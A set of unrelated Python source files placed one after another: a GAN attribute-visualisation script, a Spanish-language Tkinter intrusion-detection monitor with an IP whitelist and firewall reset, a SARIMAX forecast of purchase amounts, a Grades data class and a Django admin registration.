        img1 = write_prob(img1, prob_after)

        # save also original images, when generating from dataset
        if args.source == "data":
            # get originals for image set
            origs = [dataset[idx][0] for idx in image_idx_set]
            origs = torch.stack(origs).to(args.device)
            origs = write_prob(origs, prob_before)
            img = torch.cat([origs, img, img1], 0)
        else:
            img = write_prob(img, prob_before)
            img = torch.cat([img, img1], 0)

        filename = os.path.join(args.output_path, args.cache_name + f"_index-{str(eigen_idx)}_degree-{args.degree}.png")
        utils.save_image(
            img,
            filename,
            normalize=True,
            scale_each=True,
            nrow=num_images,
        )

@torch.no_grad()
def save_changed_images_for_survey(result_explained_images, generator, discriminator, eigvec, logits, latents,
                        num_images, dataset, args):
    g = generator
    d = discriminator
    for (eigen_idx, eigen_direct), exp_image_idx in result_explained_images.items():
        num_images = len(exp_image_idx) if len(exp_image_idx) < num_images else num_images

        # sort images by their diff, the most "explained" image first
        image_idx_set = sorted(exp_image_idx, key=exp_image_idx.get, reverse=True)[:num_images]

        # get latents for image set
        latent = [latents.get(key) for key in image_idx_set]
        latent = torch.stack(latent).squeeze(1)
        latent.to(args.device)

        direction = args.degree * eigvec[:, eigen_idx].unsqueeze(0)
        change_direct = 1 if eigen_direct == 'pos' else -1

        img, _ = g(
            [latent],
            input_is_latent=True
        )
        img1, _ = g(
            [latent + direction * change_direct],
            input_is_latent=True,
        )

        # get class prob. before and after change
        set_logits = [logits.get(key) for key in image_idx_set]
        set_logits_diffs = [exp_image_idx.get(key) for key in image_idx_set]
        prob_before, prob_after = get_probablities(set_logits, set_logits_diffs, args.class_label)

        # save also original images, when generating from dataset
        if args.source == "data":
            # get originals for image set
            origs = [dataset[idx][0] for idx in image_idx_set]
            origs = torch.stack(origs).to(args.device)
            img_cat = torch.cat([origs, img, img1], 0)
        else:
            img_cat = torch.cat([img, img1], 0)

        filename = os.path.join(args.output_path, args.cache_name + f"_index-{str(eigen_idx)}_degree-{args.degree}.png")
        utils.save_image(
            img_cat,
            filename,
            normalize=True,
            scale_each=True,
            nrow=num_images,
        )

        EV_change_folder = os.path.join(args.output_path, args.cache_name + f"_image_original_vs_changed")
        if not os.path.exists(EV_change_folder):
            os.makedirs(EV_change_folder)
        original_image_file = os.path.join(EV_change_folder, args.cache_name + f"_original_index-{str(eigen_idx)}_degree-{args.degree}.png")
        changed_image_file = os.path.join(EV_change_folder, args.cache_name + f"_changed_index-{str(eigen_idx)}_degree-{args.degree}.png")
        utils.save_image(
            img,
            original_image_file,
            normalize=True,
            scale_each=True,
            nrow=num_images,
        )
        utils.save_image(
            img1,
            changed_image_file,
            normalize=True,
            scale_each=True,
            nrow=num_images,
        )

        individual_images_folder = os.path.join(args.output_path,
                                                args.cache_name + f"_images_after_change_EV_index-{str(eigen_idx)}_degree-{args.degree}")
        if not os.path.exists(individual_images_folder):
            os.makedirs(individual_images_folder)

        for num, changed_img in enumerate(img1):
            individual_img_file_name = os.path.join(individual_images_folder,
                                                    args.cache_name + '_' + str(num) + f"_EV_index-{str(eigen_idx)}_degree-{args.degree}.png")
            utils.save_image(
                    changed_img,
                    individual_img_file_name,
                    normalize=True
                )
        for num, original_img in enumerate(img):
            original_individual_img_file_name = os.path.join(individual_images_folder,
                                                             'original_' + args.cache_name + '_' + str(num) + f"_EV_index-{str(eigen_idx)}_degree-{args.degree}.png")
            utils.save_image(
                    original_img,
                    original_individual_img_file_name,
                    normalize=True
                )

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Extract Classifier Specific Attributes")
    parser.add_argument(
        "--ckpt", type=str, required=True, help="Generator & Encoder checkpoints, we got from train.py")
    parser.add_argument(
        "--classifier_ckpt", type=str, required=True, help="Classifier checkpoint")
    parser.add_argument(
        "--source", type=str, default="data", help="Source for images either data or noise",
    )
    parser.add_argument(
        "--class_label", type=int, default=1, help="which class label to work on"
    )
    parser.add_argument(
        "--device", type=str, default="cuda", help="device to run the model"
    )

    # eigenvecotrs
    parser.add_argument(
        "--factor", type=str, required=True, help="Path for closed form factorization result factor file",
    )
    parser.add_argument(
        "--degree", type=int, default=5, help="Degree along eigenvector to move"
    )
    parser.add_argument(
        "--nof_eigenv", type=float, default=20, help="Number of eigenvectors to check"
    )
    parser.add_argument(
        "--nof_significant_eigenv", type=float, default=8, help="Number of most significant eigenvectors to check"
    )

    # generate from dataset
    parser.add_argument(
        "--dataset_path", type=str, default=None, help="Path for dataset MDB file",
    )
    parser.add_argument(
        "--batch", type=int, default=16, help="batch size"
    )

    # generate from noise
    parser.add_argument(
        "--n_sample", type=int, default=200, help="Number of images to generate, mandatory for noise generation"
    )

    # output name
    parser.add_argument(
        "--cache_name", type=str, default=None, help="Prefix to use for output file names",
    )

    # search param
    parser.add_argument(
        "--prob_thre",
        default=True,
        action="store_true",
        help="Use the probability threshold instead")
    parser.add_argument(
        "--change_threshold", type=float, default=10, help="Threshold of logits change for finding explained images"
    )

    parser.add_argument(
        "--change_prob_threshold", type=float, default=0.5, help="Threshold of probability change for finding explained images"
    )

    parser.add_argument(
        "--save_for_survey",
        default=False,
        action="store_true",
        help="Save individual changed images for survey or other usages")

    args = parser.parse_args()

    args.output_path = "att_find_artifacts"
    if not os.path.exists(args.output_path):
        os.mkdir(args.output_path)

    torch.set_grad_enabled(False)

    # load eigenvectors
    eigvec = torch.load(args.factor)["eigvec"].to(args.device)

    if args.nof_eigenv > eigvec.shape[1]:
        print("nof_eigenv provided is larger than available eigenvectors %d" % eigvec.shape[1])
        exit()

    # load generator & encoder
    ckpt = torch.load(args.ckpt)
    params = ckpt["args"]

    generator = Generator(params.size, params.latent, params.n_mlp, channel_multiplier=params.channel_multiplier,
                          conditional_gan=params.cgan if 'cgan' in params else False,
                          nof_classes=params.classifier_nof_classes if 'classifier_nof_classes' in params else False,
                          embedding_size=params.embedding_size).to(args.device)

    generator.load_state_dict(ckpt["g_ema"], strict=False)
    generator.eval()

    discriminator = Discriminator(params.size, channel_multiplier=params.channel_multiplier,
                                  conditional_gan=params.cgan if 'cgan' in params else False).to(args.device)
    discriminator.load_state_dict(ckpt["d"])
    discriminator.eval()

    # load classifier
    classifier = models.densenet121(pretrained=True)
    classifier.classifier = torch.nn.Linear(1024, 2)
    classifier.load_state_dict(torch.load(args.classifier_ckpt))
    classifier.to(args.device)
    classifier.eval()

    if args.source == "data":
        encoder = Encoder(params.size, channel_multiplier=params.channel_multiplier, output_channels=params.latent
                          ).to(args.device)
        encoder.load_state_dict(ckpt["e"], strict=False)
        encoder.eval()

        if args.dataset_path is None:
            print("Dataset path is required in data mode")
            exit()

        # load dataset
        dataset = get_dataset(args)
        args.n_sample = len(dataset)
    else:
        dataset = None
        encoder = None

    result_explained_images, logits, latents = att_find(eigvec, generator, encoder, classifier, dataset, args)

    # num_saved_sample_images = 16
    # save_explained_images(result_explained_images, dataset, num_saved_sample_images)

    num_saved_changed_images = 8
    if args.save_for_survey:
        save_changed_images_for_survey(result_explained_images, generator, discriminator, eigvec, logits, latents,
                        num_saved_changed_images, dataset, args)
    else:
        save_changed_images(result_explained_images, generator, discriminator, eigvec, logits, latents,
                        num_saved_changed_images, dataset, args)


import os
import subprocess
import time
import socket
from psutil import cpu_percent, virtual_memory
from tkinter import *
from IPy import IP

def error_message(parent_window, msg):
    error_window = Toplevel(parent_window)
    error_window.configure(background='black')
    error_window.title("Error")

    error_label = Label(error_window, font=('arial', 25, 'bold'), fg='red', bg='black')
    error_label.pack()
    error_label.config(text=msg)
    error_button = Button(error_window, text="Aceptar", command=error_window.destroy)
    error_button.pack()

def reset_canary(comm_cut_queue, reset_iptables_queue):
    if not reset_iptables_queue.empty():
        subprocess.run("iptables -D INPUT -j DROP", shell=True)
    comm_cut_queue.put("Cortar")
    time.sleep(1)
    os.execl(sys.executable, sys.executable, *sys.argv)

def delete_ip(observer_window, ip_list, comm_cut_queue, reset_iptables_queue):
    def destroy_ip():
        try:
            bad_ip = str(white_list.get(white_list.curselection()))
            with open("ip.txt", "w") as f:
                for good_ip in ip_list:
                    if str(good_ip).strip("\n") != bad_ip:
                        f.write(str(good_ip) + "\n")
            delete_window.destroy()
            reset_canary(comm_cut_queue, reset_iptables_queue)
        except TclError:
            error_message(delete_window, "Selecciona una IP de la lista")

    delete_window = Toplevel(observer_window)
    delete_window.attributes("-fullscreen", True)
    delete_window.configure(background='black')
    delete_window.title("Canario")

    ip_delete_label = Label(delete_window, font=('arial', 25, 'bold'), fg='skyblue', bg='black')
    ip_delete_label.pack()
    ip_delete_label.config(text="Señale la IP que desea eliminar y, luego, pulse en el botón:")
    ip_delete_label.place(rely=0.1, relx=0.5, anchor=N)

    white_list = Listbox(delete_window, font=('arial', 20), width=50, selectmode=SINGLE)
    white_list.pack()
    white_list.place(rely=0.25, relx=0.5, anchor=N)

    delete_button = Button(delete_window, text="Eliminar", command=destroy_ip)
    delete_button.pack()
    delete_button.place(rely=0.8, relx=0.5, anchor=N)

    back_button = Button(delete_window, text="Regresar", command=delete_window.destroy)
    back_button.pack()
    back_button.place(rely=0.975, relx=0.01, anchor=SW)

    index = 0

    for ip in ip_list:
        white_list.insert(index, ip)
        index += 1

def add_ip(observer_window, ip_list, comm_cut_queue, reset_iptables_queue):
    def insert_ip():
        if ip_entry.get() == "":
            error_message(add_window, "El campo de texto no puede estar vacío")
        else:
            try:
                socket.inet_aton(ip_entry.get())
                if IP(ip_entry.get()) in ip_list:
                    error_message(add_window, "La IP ya está en la lista")
                else:
                    new_ip = str(ip_entry.get())
                    with open("ip.txt", "a") as f:
                        f.write(new_ip + "\n")
                    add_window.destroy()
                    reset_canary(comm_cut_queue, reset_iptables_queue)
            except socket.error:
                error_message(add_window, "La IP debe tener una estructura XXX.XXX.XXX.XXX (p.e. 194.153.205.26)")

    add_window = Toplevel(observer_window)
    add_window.attributes("-fullscreen", True)
    add_window.configure(background='black')
    add_window.title("Canario")

    ip_insert_label = Label(add_window, font=('arial', 25, 'bold'), fg='skyblue', bg='black')
    ip_insert_label.pack()
    ip_insert_label.place(rely=0.1, relx=0.5, anchor=N)
    ip_insert_label.config(text="Inserte la IP para no ser considerada una amenaza:")

    ip_entry = Entry(add_window, font=('arial', 45))
    ip_entry.pack()
    ip_entry.place(rely=0.3, relx=0.5, anchor=N, width=500, height=50)

    add_button = Button(add_window, text="Insertar", command=insert_ip)
    add_button.pack()
    add_button.place(rely=0.5, relx=0.5, anchor=N)

    back_button = Button(add_window, text="Regresar", command=add_window.destroy)
    back_button.pack()
    back_button.place(rely=0.975, relx=0.01, anchor=SW)

def observer(detection_queue, comm_cut_queue, reset_iptables_queue, ip_list):
    observer_window = Tk()
    observer_window.attributes("-fullscreen", True)
    observer_window.configure(background='black')
    observer_window.title("Canario")

    clock_label = Label(observer_window, font=('arial', 150, 'bold'), fg='yellow', bg='black')
    clock_label.pack()

    date_label = Label(observer_window, font=('arial', 75, 'bold'), fg='skyblue', bg='black')
    date_label.pack()

    cpu_label = Label(observer_window, font=('arial', 50, 'bold'), fg='skyblue', bg='black')
    cpu_label.pack()

    ram_label = Label(observer_window, font=('arial', 50, 'bold'), fg='skyblue', bg='black')
    ram_label.pack()

    ccc_var = IntVar()
    com_cut_check = Checkbutton(observer_window, font=('arial', 15), fg='white', bg='black', selectcolor='black',
                                text='Cortar las comunicaciones tras un ataque.',
                                variable=ccc_var, onvalue=1, offvalue=0)
    com_cut_check.pack()
    com_cut_check.place(rely=0.975, relx=0.01, anchor=SW)
    com_cut_check.select()

    reset_button = Button(observer_window, font=('arial', 15), text='Reiniciar',
                          command=lambda: reset_canary(comm_cut_queue, reset_iptables_queue))
    reset_button.pack()
    reset_button.place(rely=0.975, relx=0.99, anchor=SE)

    add_button = Button(observer_window, font=('arial', 15), text='Insertar IP',
                        command=lambda: add_ip(observer_window, ip_list, comm_cut_queue, reset_iptables_queue))
    add_button.pack()
    add_button.place(rely=0.025, relx=0.01, anchor=NW)

    delete_button = Button(observer_window, font=('arial', 15), text='Eliminar IP',
                           command=lambda: delete_ip(observer_window, ip_list, comm_cut_queue, reset_iptables_queue))
    delete_button.pack()
    delete_button.place(rely=0.1, relx=0.01, anchor=NW)

    def tick():
        current_time = time.strftime('%H:%M:%S')
        date_text = time.strftime('%d-%m-%Y')
        clock_label.config(text=current_time)
        date_label.config(text=date_text)
        cpu_label.config(text="CPU: " + str(cpu_percent(None)))
        ram_label.config(text="RAM: " + str(virtual_memory().percent))

        if not detection_queue.empty():
            com_cut_text = ""
            if ccc_var.get() == 1:
                time.sleep(1)
                comm_cut_queue.put("Cortar")
                com_cut_text = "Los puertos han sido cerrados para impedir el ataque."

            warning_window = Toplevel(observer_window)
            warning_window.configure(background='black')
            warning_window.title("Canario")

            warning_label = Label(warning_window, font=('arial', 150, 'bold'), fg='red', bg='black')
            warning_label.pack()
            warning_label.config(text="AVISO")

            detection_message_label = Label(warning_window, font=('arial', 25, 'bold'), fg='white', bg='black', pady=25)
            detection_message_label.pack()
            detection_message_label.config(text="El dispositivo ha detectado posibles amenazas a las " + current_time)

            threat_list = Listbox(warning_window, font='arial', width=100)
            threat_list.pack()

            communication_cut_label = Label(warning_window, font=('arial', 10, 'bold'), fg='white', bg='black', pady=25)
            communication_cut_label.pack()
            communication_cut_label.config(text=com_cut_text)

            index = 0

            while not detection_queue.empty():
                threat_list.insert(index, detection_queue.get())
                index += 1

        clock_label.after(200, tick)

    tick()
    observer_window.mainloop()


import pandas as pd
import statsmodels.api as sm
import matplotlib.pyplot as plt
import numpy as np

df = pd.read_csv('../file/user_balance_table_all.csv', index_col='user_id', names=['user_id', 'report_date', 'tBalance', 'yBalance', 'total_purchase_amt', 'direct_purchase_amt', 'purchase_bal_amt', 'purchase_bank_amt', 'total_redeem_amt', 'consume_amt', 'transfer_amt', 'tftobal_amt', 'tftocard_amt', 'share_amt', 'category1', 'category2', 'category3', 'category4'
], parse_dates=[1])

df['report_date'] = pd.to_datetime(df['report_date'], errors='coerce')
df['total_purchase_amt'] = pd.to_numeric(df['total_purchase_amt'], errors='coerce')
df['total_redeem_amt'] = pd.to_numeric(df['total_redeem_amt'], errors='coerce')
df['purchase_bank_amt'] = pd.to_numeric(df['purchase_bank_amt'], errors='coerce')

df = df.groupby('report_date').sum()
ts = df['total_purchase_amt']
ts = ts['2014-04-01':'2014-06-30']

model=sm.tsa.statespace.SARIMAX(endog=ts,order=(1,1,0),seasonal_order=(0,0,0,7),trend='c',enforce_invertibility=False)
results=model.fit()
print(results.summary())
print(results.predict())

predict_ts = results.predict()

predict_ts.plot(label='predicted')
ts.plot(label='original')
plt.legend(loc='best')
plt.show()


import sys
sys.dont_write_bytecode = True

from utils.DateFormat import DateFormat

class Grades():

    def __init__(self, id, enrollment=None, description=None, grade=None, percentage=None, isActive=None, createdAt=None, updatedAt=None) -> None:
        self.id = id
        self.enrollment = enrollment
        self.description = description
        self.grade = grade
        self.percentage = percentage
        self.isActive = isActive
        self.createdAt = createdAt
        self.updatedAt = updatedAt

    def to_JSON(self):
        return {
            'id': self.id,
            'enrollment': self.enrollment,
            'description': self.description,
            'grade': self.grade,
            'percentage': self.percentage,
            'isActive': self.isActive,
            'createdAt': DateFormat.convert_date(self.createdAt),
            'updatedAt': DateFormat.convert_date(self.updatedAt)
        }


from django.contrib import admin
from . import models

# Register your models here.

@admin.register(models.Post)
class PostAdmin(admin.ModelAdmin):
    prepopulated_fields = {'slug': ('title',)}

my_models = [models.Category, models.Comment, models.Tag]

for item in my_models:
    admin.site.register(item)